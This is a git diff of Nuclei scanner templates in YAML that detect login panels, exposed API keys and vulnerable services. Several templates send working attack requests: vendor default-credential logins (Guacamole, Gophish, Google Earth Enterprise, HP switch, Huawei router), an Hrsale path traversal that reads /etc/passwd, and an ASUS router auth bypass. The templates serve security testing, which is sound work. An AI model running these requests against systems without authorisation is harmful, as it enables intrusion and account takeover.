+ + - type: word + part: header + words: + - "application/json" + +# digest: 4a0a00473045022100e423f2d50edff69e6eb1b5bc47e8f482b97de447024a3623818e28a08199321a02207f96b638e3b21026d86306511d783491c0cc00d9484b54499fe7cfea40baead3:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/gocd-login.yaml b/poc/auth/gocd-login.yaml index f641146d8e..38b9baf331 100644 --- a/poc/auth/gocd-login.yaml +++ b/poc/auth/gocd-login.yaml @@ -1,14 +1,20 @@ id: gocd-login info: - name: GoCD Login + name: GoCD Login Panel - Detect author: dhiyaneshDK severity: info + description: GoCD login panel was detected. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0 + cwe-id: CWE-200 metadata: + max-request: 1 shodan-query: html:"GoCD Version" tags: go,panel,gocd -requests: +http: - method: GET path: - '{{BaseURL}}/go/auth/login' @@ -19,6 +25,9 @@ requests: words: - 'Login - Go' - 'gocd-params' + - type: status status: - 200 + +# digest: 490a0046304402204ecdd4f6fdd33cfea50a444c888d8f6bd2184a0d84746a8b8e399d63902956e002207a4057233e311f48d2f2732d6b6ad199b1488a982ca07699590fc83b6c6fabfe:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/google-api-key-7769.yaml b/poc/auth/google-api-key-7769.yaml new file mode 100644 index 0000000000..87d61eaa24 --- /dev/null +++ b/poc/auth/google-api-key-7769.yaml @@ -0,0 +1,23 @@ +id: google-api-key + +info: + name: Google API Key + author: Swissky + severity: info + metadata: + max-request: 2 + tags: exposure,token,google + +http: + - method: GET + path: + - "{{BaseURL}}" + - "{{BaseURL}}/hopfully404" + + extractors: + - type: regex + part: body + regex: + - "AIza[0-9A-Za-z\\-_]{35}" + +# digest: 4a0a004730450221008529a1cf21d244ce3327f73d3d68a4e1afc76d0dab02130fa43f449db87fb51802200b6b4d64369e56d8ebba8796e30b0cee88ca1318014c35dee345905fffdb4a3c:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/google-earth-dlogin-7778.yaml b/poc/auth/google-earth-dlogin-7778.yaml index c93cded748..8e29091076 100644 --- a/poc/auth/google-earth-dlogin-7778.yaml +++ b/poc/auth/google-earth-dlogin-7778.yaml @@ -4,21 +4,10 @@ info: name: Google Earth Enterprise Default Login author: orpheus,johnjhacking severity: high - description: Google Earth Enterprise default login credentials were discovered. - remediation: "To reset the username and password: -sudo /opt/google/gehttpd/bin/htpasswd -c -/opt/google/gehttpd/conf.d/.htpasswd geapacheuse" - tags: default-login,google-earth - reference: - - https://johnjhacking.com/blog/gee-exploitation/ - - https://www.opengee.org/geedocs/5.2.2/answer/3470759.html + tags: default-login,google + reference: https://www.opengee.org/geedocs/5.2.2/answer/3470759.html metadata: shodan-query: 'title:"GEE Server"' - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cve-id: - cwe-id: CWE-522 requests: - raw: @@ -45,6 +34,4 @@ requests: condition: and words: - 'DashboardPanel' - - 'Earth Enterprise Server' - -# Enhanced by mp on 2022/03/10 + - 'Earth Enterprise Server' \ No newline at end of file diff --git a/poc/auth/google-earth-dlogin.yaml b/poc/auth/google-earth-dlogin.yaml deleted file mode 100644 index 7b88681c7f..0000000000 --- a/poc/auth/google-earth-dlogin.yaml +++ /dev/null @@ -1,42 +0,0 @@ -id: google-earth-dlogin -info: - name: Google Earth Enterprise Default Login - author: orpheus,johnjhacking - severity: high - description: Google Earth Enterprise default login credentials were discovered. - remediation: "To reset the username and password: sudo /opt/google/gehttpd/bin/htpasswd -c /opt/google/gehttpd/conf.d/.htpasswd geapacheuse" - tags: default-login,google-earth - reference: - - https://johnjhacking.com/blog/gee-exploitation/ - - https://www.opengee.org/geedocs/5.2.2/answer/3470759.html - metadata: - shodan-query: 'title:"GEE Server"' - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cve-id: - cwe-id: CWE-522 -requests: - - raw: - - | - GET /admin/ HTTP/1.1 - Host: {{Hostname}} - Authorization: Basic {{base64(username + ':' + password)}} - attack: pitchfork - payloads: - username: - - geapacheuser - password: - - geeadmin - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - condition: and - words: - - 'DashboardPanel' - - 'Earth Enterprise Server' - -# Enhanced by mp on 2022/03/10 diff --git a/poc/auth/gophish-default-login-7792.yaml b/poc/auth/gophish-default-login-7792.yaml index 51c95010f1..9b2b924bb1 100644 --- a/poc/auth/gophish-default-login-7792.yaml +++ b/poc/auth/gophish-default-login-7792.yaml @@ -1,18 +1,10 @@ id: gophish-default-login info: - name: Gophish < v0.10.1 Default Credentials + name: Gophish < v0.10.1 default credentials author: arcc,dhiyaneshDK severity: high tags: gophish,default-login - description: For versions of Gophish > 0.10.1, the temporary administrator credentials are printed in the logs when you first execute the Gophish binary. - reference: - - https://docs.getgophish.com/user-guide/getting-started - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cve-id: - cwe-id: CWE-522 requests: - raw: @@ -51,6 +43,4 @@ requests: - "contains(tolower(all_headers), 'location: /')" - "contains(tolower(all_headers), 'gophish')" - "status_code==302" - condition: and - -# Enhanced by mp on 2022/03/10 + condition: and \ No newline at end of file diff --git a/poc/auth/gophish-default-login-7794.yaml b/poc/auth/gophish-default-login-7794.yaml new file mode 100644 index 0000000000..7461bedb59 --- /dev/null +++ b/poc/auth/gophish-default-login-7794.yaml @@ -0,0 +1,40 @@ +id: gophish-default-login +info: + name: Gophish < v0.10.1 default credentials + author: arcc,dhiyaneshDK + severity: high + tags: gophish,default-login +requests: + - raw: + - | + GET /login HTTP/1.1 + Host: {{Hostname}} + - | + POST /login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + username={{user}}&password={{pass}}&csrf_token={{replace(url_encode(html_unescape(csrf_token)), "+", "%2B")}} + attack: pitchfork + payloads: + user: + - admin + pass: + - gophish + cookie-reuse: true + extractors: + - type: regex + name: csrf_token + part: body + internal: true + group: 1 + regex: + - 'name="csrf_token" value="(.+?)"' + matchers: + - type: dsl + dsl: + - "!contains(tolower(all_headers), 'location: /login')" + - "contains(tolower(all_headers), 'location: /')" + - "contains(tolower(all_headers), 'gophish')" + - "status_code==302" + condition: and diff --git a/poc/auth/gophish-login-7795.yaml b/poc/auth/gophish-login-7795.yaml index bedbfc9976..e35d98a093 100644 --- a/poc/auth/gophish-login-7795.yaml +++ b/poc/auth/gophish-login-7795.yaml @@ -1,15 +1,18 @@ id: gophish-login + info: name: Gophish Login author: dhiyaneshDK severity: info - tags: panel,gophish metadata: shodan-query: http.title:"Gophish - Login" + tags: panel,gophish + requests: - method: GET path: - '{{BaseURL}}/login' + matchers-condition: and matchers: - type: word diff --git a/poc/auth/grafana-default-login-7801.yaml b/poc/auth/grafana-default-login-7801.yaml index c6f47b7acd..88ad944920 100644 --- a/poc/auth/grafana-default-login-7801.yaml +++ b/poc/auth/grafana-default-login-7801.yaml @@ -4,6 +4,7 @@ info: name: Grafana Default Login author: pdteam severity: high + tags: grafana,default-login description: Grafana default admin login credentials were detected. reference: - https://grafana.com/docs/grafana/latest/administration/configuration/#disable_brute_force_login_protection @@ -12,8 +13,8 @@ info: classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 + cve-id: cwe-id: CWE-522 - tags: grafana,default-login requests: - raw: diff --git a/poc/auth/grafana-default-login-7804.yaml b/poc/auth/grafana-default-login-7804.yaml index 8bc1527c81..c65af62d4d 100644 --- a/poc/auth/grafana-default-login-7804.yaml +++ b/poc/auth/grafana-default-login-7804.yaml @@ -1,9 +1,19 @@ id: grafana-default-login info: name: Grafana Default Login - author: d3sca + author: pdteam severity: high tags: grafana,default-login + description: Grafana default admin login credentials were detected. + reference: + - https://grafana.com/docs/grafana/latest/administration/configuration/#disable_brute_force_login_protection + - https://stackoverflow.com/questions/54039604/what-is-the-default-username-and-password-for-grafana-login-page + - https://github.com/grafana/grafana/issues/14755 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cve-id: + cwe-id: CWE-522 requests: - raw: - | @@ -36,3 +46,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/03/10 diff --git a/poc/auth/grafana-public-signup-7814.yaml b/poc/auth/grafana-public-signup-7814.yaml index 0d88970cf3..bfdeddc6ae 100644 --- a/poc/auth/grafana-public-signup-7814.yaml +++ b/poc/auth/grafana-public-signup-7814.yaml @@ -1,11 +1,9 @@ id: grafana-public-signup - info: name: Grafana Public Signup author: pdteam severity: medium tags: grafana,intrusive - requests: - raw: - | @@ -16,20 +14,17 @@ requests: Referer: {{BaseURL}} {"username":"nuclei_{{randstr}}","password":"{{randstr_1}}"} - matchers-condition: and matchers: - type: word words: - "User sign up completed successfully" - - type: word words: - "grafana_sess" - "grafana_user" condition: and part: header - - type: status status: - 200 diff --git a/poc/auth/grafana-public-signup-7816.yaml b/poc/auth/grafana-public-signup-7816.yaml new file mode 100644 index 0000000000..0d88970cf3 --- /dev/null +++ b/poc/auth/grafana-public-signup-7816.yaml @@ -0,0 +1,35 @@ +id: grafana-public-signup + +info: + name: Grafana Public Signup + author: pdteam + severity: medium + tags: grafana,intrusive + +requests: + - raw: + - | + POST /api/user/signup/step2 HTTP/1.1 + Host: {{Hostname}} + content-type: application/json + Origin: {{BaseURL}} + Referer: {{BaseURL}} + + {"username":"nuclei_{{randstr}}","password":"{{randstr_1}}"} + + matchers-condition: and + matchers: + - type: word + words: + - "User sign up completed successfully" + + - type: word + words: + - "grafana_sess" + - "grafana_user" + condition: and + part: header + + - type: status + status: + - 200 diff --git a/poc/auth/grafana-public-signup-7817.yaml b/poc/auth/grafana-public-signup-7817.yaml deleted file mode 100644 index cf54e68630..0000000000 --- a/poc/auth/grafana-public-signup-7817.yaml +++ /dev/null @@ -1,35 +0,0 @@ -id: grafana-public-signup - -info: - name: Grafana Public Signup - author: pdteam - severity: medium - tags: grafana,intrusive - -requests: - - raw: - - | - POST /api/user/signup/step2 HTTP/1.1 - Host: {{Hostname}} - content-type: application/json - Origin: {{BaseURL}} - Referer: {{BaseURL}} - - {"username":"{{randstr}}","password":"{{randstr_1}}"} - - matchers-condition: and - matchers: - - type: word - words: - - "User sign up completed successfully" - - - type: word - words: - - "grafana_sess" - - "grafana_user" - condition: and - part: header - - - type: status - status: - - 200 diff --git a/poc/auth/gt-ac2900-login.yaml b/poc/auth/gt-ac2900-login.yaml new file mode 100644 index 0000000000..bb0175987d --- /dev/null +++ b/poc/auth/gt-ac2900-login.yaml @@ -0,0 +1,23 @@ +id: GT-AC2900-login +info: + name: GT-AC2900 登录绕过 + author: Str1am + severity: critical + reference: https://github.com/atredispartners/advisories/blob/master/ATREDIS-2020-0010.md + tags: AC2900,ASSUS +requests: + - raw: + - | + GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1 + Host: {{Hostname}} + Cookie: asus_token=\0Invalid; clickedItem_tab=0 + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "get_cfg_clientlist" + part: body + condition: and diff --git a/poc/auth/guacamole-default-login-7861.yaml b/poc/auth/guacamole-default-login-7861.yaml deleted file mode 100644 index 49696737ef..0000000000 --- a/poc/auth/guacamole-default-login-7861.yaml +++ /dev/null @@ -1,46 +0,0 @@ -id: guacamole-default-login -info: - name: Guacamole Default Login - author: r3dg33k - severity: high - tags: guacamole,default-login - description: Guacamole default admin login credentials were detected. - reference: https://wiki.debian.org/Guacamole#:~:text=You%20can%20now%20access%20the,password%20are%20both%20%22guacadmin%22 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cve-id: - cwe-id: CWE-522 -requests: - - raw: - - | - POST /api/tokens HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - Origin: {{Hostname}} - Referer: {{Hostname}} - - username={{username}}&password={{password}} - payloads: - username: - - guacadmin - password: - - guacadmin - attack: pitchfork - matchers-condition: and - matchers: - - type: word - words: - - '"username"' - - '"authToken"' - - '"guacadmin"' - condition: and - - type: word - words: - - 'application/json' - part: header - - type: status - status: - - 200 - -# Enhanced by mp on 2022/03/10 diff --git a/poc/auth/guacamole-default-login.yaml b/poc/auth/guacamole-default-login.yaml new file mode 100644 index 0000000000..8517bac93a --- /dev/null +++ b/poc/auth/guacamole-default-login.yaml @@ -0,0 +1,46 @@ +id: guacamole-default-login +info: + name: Guacamole Default Login + author: r3dg33k + severity: high + description: Guacamole default admin login credentials were detected. + reference: + - https://wiki.debian.org/Guacamole#:~:text=You%20can%20now%20access%20the,password%20are%20both%20%22guacadmin%22 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + tags: guacamole,default-login +requests: + - raw: + - | + POST /api/tokens HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + Origin: {{Hostname}} + Referer: {{Hostname}} + + username={{username}}&password={{password}} + payloads: + username: + - guacadmin + password: + - guacadmin + attack: pitchfork + matchers-condition: and + matchers: + - type: word + words: + - '"username"' + - '"authToken"' + - '"guacadmin"' + condition: and + - type: word + words: + - 'application/json' + part: header + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/10 diff --git a/poc/auth/hadoop-unauth-7875.yaml b/poc/auth/hadoop-unauth-7875.yaml index e146804914..a897a6b0d7 100644 --- a/poc/auth/hadoop-unauth-7875.yaml +++ b/poc/auth/hadoop-unauth-7875.yaml @@ -1,21 +1,18 @@ id: hadoop-unauth + info: name: Apache Hadoop Unauth author: pdteam severity: low tags: apache,hadoop,unauth + requests: - method: GET path: - '{{BaseURL}}/ws/v1/cluster/info' - - '{{BaseURL}}/ws/v1/cluster/apps/new-application' - matchers-condition: or matchers: - type: word words: - 'hadoopVersion' - 'resourceManagerVersionBuiltOn' - condition: and - - type: word - words: - - 'javax.ws.rs.WebApplicationException' + condition: and \ No newline at end of file diff --git a/poc/auth/hivemanager-login-panel-7963.yaml b/poc/auth/hivemanager-login-panel-7963.yaml new file mode 100644 index 0000000000..649daec165 --- /dev/null +++ b/poc/auth/hivemanager-login-panel-7963.yaml @@ -0,0 +1,19 @@ +id: hivemanager-login-panel +info: + name: HiveManager Login panel + author: binaryfigments + severity: info + tags: panel,hivemanager,login + +requests: + - method: GET + path: + - '{{BaseURL}}/hm/login.action' + matchers-condition: and + matchers: + - type: word + words: + - "HiveManager Login" + - type: status + status: + - 200 diff --git a/poc/auth/hivemanager-login-panel-7965.yaml b/poc/auth/hivemanager-login-panel-7965.yaml deleted file mode 100644 index 6dd5bdedc9..0000000000 --- a/poc/auth/hivemanager-login-panel-7965.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: hivemanager-login-panel - -info: - name: HiveManager Login panel - author: binaryfigments - severity: info - tags: panel,hivemanager,login - -requests: - - method: GET - path: - - '{{BaseURL}}/hm/login.action' - matchers-condition: and - matchers: - - type: word - words: - - "HiveManager Login" - - type: status - status: - - 200 diff --git a/poc/auth/hongdian-default-login-7997.yaml b/poc/auth/hongdian-default-login-7997.yaml index 1ca17e5a22..3f7651fbf9 100644 --- a/poc/auth/hongdian-default-login-7997.yaml +++ b/poc/auth/hongdian-default-login-7997.yaml @@ -5,16 +5,17 @@ info: author: gy741 severity: high description: Hongdian default login information was detected. - tags: hongdian,default-login reference: - https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 - cve-id: cwe-id: CWE-522 + metadata: + max-request: 4 + tags: hongdian,default-login -requests: +http: - raw: - | GET / HTTP/1.1 @@ -22,7 +23,6 @@ requests: Authorization: Basic {{base64(username + ':' + password)}} Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate - - | GET / HTTP/1.1 Host: {{Hostname}} @@ -55,4 +55,4 @@ requests: status: - 200 -# Enhanced by mp on 2022/03/10 +# digest: 4a0a00473045022017bb85017e526fa64366b77fb14e8e0656077fac27790f7249aab6f77f8891e3022100f2ba82e9123fc811000d24d111352e157c3f7b746e6c93b019049a2f60380c7d:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/hongdian-default-login-7998.yaml b/poc/auth/hongdian-default-login-7998.yaml index d17f959c02..909c104a03 100644 --- a/poc/auth/hongdian-default-login-7998.yaml +++ b/poc/auth/hongdian-default-login-7998.yaml @@ -3,15 +3,7 @@ info: name: Hongdian Default Login author: gy741 severity: high - description: Hongdian default login information was detected. tags: hongdian,default-login - reference: - - https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cve-id: - cwe-id: CWE-522 requests: - raw: - | @@ -47,5 +39,3 @@ requests: - type: status status: - 200 - -# Enhanced by mp on 2022/03/10 diff --git a/poc/auth/hp-ilo-serial-key-disclosure-8024.yaml b/poc/auth/hp-ilo-serial-key-disclosure-8024.yaml index 61bddf3680..0ce0566212 100644 --- a/poc/auth/hp-ilo-serial-key-disclosure-8024.yaml +++ b/poc/auth/hp-ilo-serial-key-disclosure-8024.yaml @@ -3,8 +3,7 @@ info: name: HP ILO Serial Key Disclosure author: dhiyaneshDk severity: medium - reference: - - https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/hp-ilo-serial-key-disclosure.json + reference: https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/hp-ilo-serial-key-disclosure.json tags: exposure,config requests: - method: GET diff --git a/poc/auth/hp-switch-default-login-8035.yaml b/poc/auth/hp-switch-default-login-8035.yaml new file mode 100644 index 0000000000..6068ca88f4 --- /dev/null +++ b/poc/auth/hp-switch-default-login-8035.yaml @@ -0,0 +1,41 @@ +id: hp-switch-default-login +info: + name: HP 1820-8G Switch J9979A Default Login + author: pussycat0x + severity: high + description: HP 1820-8G Switch J9979A default admin login credentials were discovered. + reference: https://support.hpe.com/hpesc/public/docDisplay?docId=a00077779en_us&docLocale=en_US + metadata: + fofa-query: 'HP 1820-8G Switch J9979A' + tags: default-login,hp + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cve-id: + cwe-id: CWE-522 + +requests: + - raw: + - | + POST /htdocs/login/login.lua HTTP/1.1 + Host: {{Hostname}} + + username={{username}}&password= + + payloads: + username: + - admin + + matchers-condition: and + matchers: + - type: word + condition: and + words: + - '"redirect": "/htdocs/pages/main/main.lsp"' + - '"error": ""' + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/10 diff --git a/poc/auth/hp-switch-default-login-8036.yaml b/poc/auth/hp-switch-default-login-8036.yaml deleted file mode 100644 index 22810268d6..0000000000 --- a/poc/auth/hp-switch-default-login-8036.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: hp-switch-default-login -info: - name: HP 1820-8G Switch J9979A Default Credential - author: pussycat0x - severity: high - reference: https://support.hpe.com/hpesc/public/docDisplay?docId=a00077779en_us&docLocale=en_US - metadata: - fofa-query: 'HP 1820-8G Switch J9979A' - tags: default-login,hp -requests: - - raw: - - | - POST /htdocs/login/login.lua HTTP/1.1 - Host: {{Hostname}} - - username={{username}}&password= - payloads: - username: - - admin - matchers-condition: and - matchers: - - type: word - condition: and - words: - - '"redirect": "/htdocs/pages/main/main.lsp"' - - '"error": ""' - - type: status - status: - - 200 diff --git a/poc/auth/hp-switch-default-login-8038.yaml b/poc/auth/hp-switch-default-login-8038.yaml index 6142cb38aa..22810268d6 100644 --- a/poc/auth/hp-switch-default-login-8038.yaml +++ b/poc/auth/hp-switch-default-login-8038.yaml @@ -1,17 +1,11 @@ id: hp-switch-default-login info: - name: HP 1820-8G Switch J9979A Default Login + name: HP 1820-8G Switch J9979A Default Credential author: pussycat0x severity: high - description: HP 1820-8G Switch J9979A default admin login credentials were discovered. - reference: - - https://support.hpe.com/hpesc/public/docDisplay?docId=a00077779en_us&docLocale=en_US - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 + reference: https://support.hpe.com/hpesc/public/docDisplay?docId=a00077779en_us&docLocale=en_US metadata: - fofa-query: HP 1820-8G Switch J9979A + fofa-query: 'HP 1820-8G Switch J9979A' tags: default-login,hp requests: - raw: @@ -33,5 +27,3 @@ requests: - type: status status: - 200 - -# Enhanced by mp on 2022/03/10 diff --git a/poc/auth/hpe-system-management-login-8017.yaml b/poc/auth/hpe-system-management-login-8017.yaml new file mode 100644 index 0000000000..0a6b05abf8 --- /dev/null +++ b/poc/auth/hpe-system-management-login-8017.yaml @@ -0,0 +1,27 @@ +id: hpe-system-management-login + +info: + name: HPE System Management Login + author: divya_mudgal + severity: info + tags: hp,tech,panel + +requests: + - method: GET + path: + - "{{BaseURL}}/cpqlogin.htm" + + matchers-condition: and + matchers: + - type: word + condition: and + part: body + words: + - "HPE System Management Homepage" + - "/proxy/ssllogin" + + extractors: + - type: regex + part: body + regex: + - "HPE System Management Homepage v([0-9-.]*)" \ No newline at end of file diff --git a/poc/auth/hrsale-unauthenticated-lfi-8039.yaml b/poc/auth/hrsale-unauthenticated-lfi-8039.yaml index c30bf2123a..8bdc195c18 100644 --- a/poc/auth/hrsale-unauthenticated-lfi-8039.yaml +++ b/poc/auth/hrsale-unauthenticated-lfi-8039.yaml @@ -1,10 +1,15 @@ id: hrsale-unauthenticated-lfi info: - name: Hrsale 2.0.0 - Hrsale Unauthenticated Lfi + name: Hrsale 2.0.0 - Local File Inclusion author: 0x_Akoko severity: high - description: This exploit allow you to download any readable file from server without permission and login session - reference: https://www.exploit-db.com/exploits/48920 + description: Hrsale 2.0.0 is vulnerable to local file inclusion. This exploit allow you to download any readable file from server without permission and login session + reference: + - https://www.exploit-db.com/exploits/48920 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: hrsale,lfi requests: - method: GET @@ -18,3 +23,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/03 diff --git a/poc/auth/hrsale-unauthenticated-lfi-8040.yaml b/poc/auth/hrsale-unauthenticated-lfi-8040.yaml index 8bdc195c18..eb3bfcfe28 100644 --- a/poc/auth/hrsale-unauthenticated-lfi-8040.yaml +++ b/poc/auth/hrsale-unauthenticated-lfi-8040.yaml @@ -1,27 +1,26 @@ id: hrsale-unauthenticated-lfi + info: - name: Hrsale 2.0.0 - Local File Inclusion + name: Hrsale 2.0.0 - Hrsale Unauthenticated Lfi author: 0x_Akoko severity: high - description: Hrsale 2.0.0 is vulnerable to local file inclusion. This exploit allow you to download any readable file from server without permission and login session + description: This exploit allow you to download any readable file from server without permission and login session reference: - https://www.exploit-db.com/exploits/48920 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cwe-id: CWE-22 tags: hrsale,lfi + requests: - method: GET path: - "{{BaseURL}}/download?type=files&filename=../../../../../../../../etc/passwd" + matchers-condition: and matchers: + - type: regex regex: - "root:[x*]:0:0" + - type: status status: - 200 - -# Enhanced by mp on 2022/08/03 diff --git a/poc/auth/http-etcd-unauthenticated-api-data-leak-8056.yaml b/poc/auth/http-etcd-unauthenticated-api-data-leak-8056.yaml index 1c523c0a06..bec8776583 100644 --- a/poc/auth/http-etcd-unauthenticated-api-data-leak-8056.yaml +++ b/poc/auth/http-etcd-unauthenticated-api-data-leak-8056.yaml @@ -1,10 +1,12 @@ id: http-etcd-unauthenticated-api-data-leak + info: name: etcd Unauthenticated HTTP API Leak author: dhiyaneshDk severity: high reference: https://hackerone.com/reports/1088429 tags: unauth + requests: - method: GET path: diff --git a/poc/auth/huawei-HG532e-default-login.yaml b/poc/auth/huawei-HG532e-default-login.yaml new file mode 100755 index 0000000000..f2400f5991 --- /dev/null +++ b/poc/auth/huawei-HG532e-default-login.yaml @@ -0,0 +1,39 @@ +id: huawei-HG532e-default-login +info: + name: Huawei HG532e Default Credential + author: + - l0ne1y + description: |- + 华为HG532e默认账号密码 + Huawei HG532e是中国华为(Huawei)公司的一款无线路由器产品。 + Huawei HG532e其web管理后台存在默认账户 + severity: high + remediation: |- + 1、配置所有的安全机制 + 2、最小原则,关掉或限制不使用的服务 + 3、更改默认账户信息 + 4、使用日志和警报 + 5、回显信息不显示任何与实际错误相关的信息 + 6、检查和修复安全配置项 +requests: +- matchers: + - type: word + part: header + words: + - 'Set-Cookie: SessionID' + - type: word + part: body + words: + - replace + - type: status + status: + - 200 + matchers-condition: and + raw: + - | + POST /index/login.cgi HTTP/1.1 + Host: {{Hostname}} + Cookie: Language=en; FirstMenu=Admin_0; SecondMenu=Admin_0_0; ThirdMenu=Admin_0_0_0 + Content-Type: application/x-www-form-urlencoded + + Username=user&Password=MDRmODk5NmRhNzYzYjdhOTY5YjEwMjhlZTMwMDc1NjllYWYzYTYzNTQ4NmRkYWIyMTFkNTEyYzg1YjlkZjhmYg%3D%3D diff --git a/poc/auth/huawei-HG532e-default-router-login.yaml b/poc/auth/huawei-HG532e-default-router-login.yaml old mode 100755 new mode 100644 index f2400f5991..5b907dd987 --- a/poc/auth/huawei-HG532e-default-router-login.yaml +++ b/poc/auth/huawei-HG532e-default-router-login.yaml @@ -1,39 +1,30 @@ id: huawei-HG532e-default-login info: name: Huawei HG532e Default Credential - author: - - l0ne1y - description: |- - 华为HG532e默认账号密码 - Huawei HG532e是中国华为(Huawei)公司的一款无线路由器产品。 - Huawei HG532e其web管理后台存在默认账户 + author: pussycat0x severity: high - remediation: |- - 1、配置所有的安全机制 - 2、最小原则,关掉或限制不使用的服务 - 3、更改默认账户信息 - 4、使用日志和警报 - 5、回显信息不显示任何与实际错误相关的信息 - 6、检查和修复安全配置项 + metadata: + shodan-query: http.html:"HG532e" + tags: default-login,huawei requests: -- matchers: - - type: word - part: header - words: - - 'Set-Cookie: SessionID' - - type: word - part: body - words: - - replace - - type: status - status: - - 200 - matchers-condition: and - raw: - - | - POST /index/login.cgi HTTP/1.1 - Host: {{Hostname}} - Cookie: Language=en; FirstMenu=Admin_0; SecondMenu=Admin_0_0; ThirdMenu=Admin_0_0_0 - Content-Type: application/x-www-form-urlencoded + - raw: + - | + POST /index/login.cgi HTTP/1.1 + Host: {{Hostname}} + Cookie: Language=en; FirstMenu=Admin_0; SecondMenu=Admin_0_0; ThirdMenu=Admin_0_0_0 + Content-Type: application/x-www-form-urlencoded - Username=user&Password=MDRmODk5NmRhNzYzYjdhOTY5YjEwMjhlZTMwMDc1NjllYWYzYTYzNTQ4NmRkYWIyMTFkNTEyYzg1YjlkZjhmYg%3D%3D + Username=user&Password=MDRmODk5NmRhNzYzYjdhOTY5YjEwMjhlZTMwMDc1NjllYWYzYTYzNTQ4NmRkYWIyMTFkNTEyYzg1YjlkZjhmYg%3D%3D + matchers-condition: and + matchers: + - type: word + part: header + words: + - 'Set-Cookie: SessionID' + - type: word + part: body + words: + - "replace" + - type: status + status: + - 200 diff --git a/poc/auth/huawei-hg532e-default-router-login-8064.yaml b/poc/auth/huawei-hg532e-default-router-login-8064.yaml deleted file mode 100644 index 5b907dd987..0000000000 --- a/poc/auth/huawei-hg532e-default-router-login-8064.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: huawei-HG532e-default-login -info: - name: Huawei HG532e Default Credential - author: pussycat0x - severity: high - metadata: - shodan-query: http.html:"HG532e" - tags: default-login,huawei -requests: - - raw: - - | - POST /index/login.cgi HTTP/1.1 - Host: {{Hostname}} - Cookie: Language=en; FirstMenu=Admin_0; SecondMenu=Admin_0_0; ThirdMenu=Admin_0_0_0 - Content-Type: application/x-www-form-urlencoded - - Username=user&Password=MDRmODk5NmRhNzYzYjdhOTY5YjEwMjhlZTMwMDc1NjllYWYzYTYzNTQ4NmRkYWIyMTFkNTEyYzg1YjlkZjhmYg%3D%3D - matchers-condition: and - matchers: - - type: word - part: header - words: - - 'Set-Cookie: SessionID' - - type: word - part: body - words: - - "replace" - - type: status - status: - - 200 diff --git a/poc/auth/huawei-router-auth-bypass-8076.yaml b/poc/auth/huawei-router-auth-bypass-8076.yaml deleted file mode 100644 index ec8c041750..0000000000 --- a/poc/auth/huawei-router-auth-bypass-8076.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: huawei-router-auth-bypass - -info: - name: Huawei Router - Authentication Bypass - author: gy741 - severity: critical - description: Huawei Routers are vulnerable to authentication bypass because the default password of this router is the last 8 characters of the device's serial number which exist on the back of the device. - reference: - - https://www.exploit-db.com/exploits/48310 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - cvss-score: 10 - cwe-id: CWE-288 - metadata: - max-request: 1 - tags: auth-bypass,router,edb,huawei - -http: - - raw: - - | - GET /api/system/deviceinfo HTTP/1.1 - Host: {{Hostname}} - Accept: application/json, text/javascript, */*; q=0.01 - Referer: {{BaseURL}} - - matchers-condition: and - matchers: - - type: 